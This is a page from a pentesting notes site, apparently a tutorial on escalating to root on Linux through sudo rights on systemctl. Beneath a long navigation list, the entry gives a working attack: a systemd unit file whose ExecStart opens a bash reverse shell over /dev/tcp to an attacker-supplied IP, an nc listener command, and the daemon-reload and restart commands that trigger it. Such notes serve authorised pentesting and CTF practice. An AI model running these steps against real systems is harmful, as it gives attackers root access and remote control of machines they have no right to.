Exploit Notes
Exploit Notes

Exploits related to Linux

Privilege Escalation

Ansible Playbook Privilege Escalation
Apache Conf Privilege Escalation
Bash eq Privilege Escalation
Buffer Overflow Privilege Escalation
Chrome Remote Debugger Pentesting
Doas Privilege Escalation
LXC/LXD (Linux Container/Daemon) Privilege Escalation
Linux Privilege Escalation
Mozilla Pentesting
OpenSSL Privilege Escalation
PolKit Privilege Escalation
Privilege Escalation with Wildcard Injection
Python Privilege Escalation
Python Yaml Privilege Escalation
Ruby Privilege Escalation
Snapd Privilege Escalation
Sudo ClamAV Privilege Escalation
Sudo Dstat Privilege Escalation
Sudo Exiftool Privilege Escalation
Sudo Fail2ban Privilege Escalation
Sudo Git Privilege Escalation
Sudo Java Privilege Escalation
Sudo OpenVPN Privilege Escalation
Sudo Path Traversal Privilege Escalation
Sudo Privilege Escalation
Sudo Privilege Escalation by Overriding Shared Library
Sudo Reboot Privilege Escalation
Sudo Screen Privilege Escalation
Sudo Service Privilege Escalation
Sudo Shutdown, Poweroff Privilege Escalation
Sudo Systemctl Privilege Escalation
Sudo Tee Privilege Escalation
Sudo Umount Privilege Escalation
Sudo Vim Privilege Escalation
Sudo Wall Privilege Escalation
Sudo Wget Privilege Escalation
Sudoedit Privilege Escalation
Update-Motd Privilege Escalation

Post Exploitation

Linux Backdoors
Linux Pivoting

Backup

BorgBackup Pentesting

Container

LXC/LXD (Linux Container/Daemon) Privilege Escalation

Others

Archived Files
Linux Techniques
Linux Troubleshooting
Linux User & File Management
X11 (X Window System) Pentesting

Sudo Systemctl Privilege Escalation

Last modified: 2023-02-05

Privilege Escalation

sudo systemctl is vulnerable to privilege escalation by modifying the configuration file.

Investigation

sudo -l

(ALL) NOPASSWD: systemctl

If we can run "systemctl" command as root, and we can edit the config file, then we might be a root user.


Exploitation

1. Update the Config File

We need to insert the payload for reverse shell to get a root shell into the /etc/systemd/system/example.service.

[Unit]
This is an example service.

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/<local-ip>/4444 0>&1'

[Install]
WantedBy=multi-user.target

Replace “<local-ip>” with your local ip address.

2. Start Listener in Local Machine

Then start listener for getting a root shell.

nc -lvnp 4444

3. Restart the Service

Reload the daemon and restart.

sudo systemctl daemon-reload
sudo systemctl restart example.service

Now we should get a shell in local machine.

Twitter GitHub

Tools by HDKS

Fuzzagotchi

Automatic web fuzzer.

aut0rec0n

Auto reconnaissance CLI.

Hash Cracker

Hash identifier.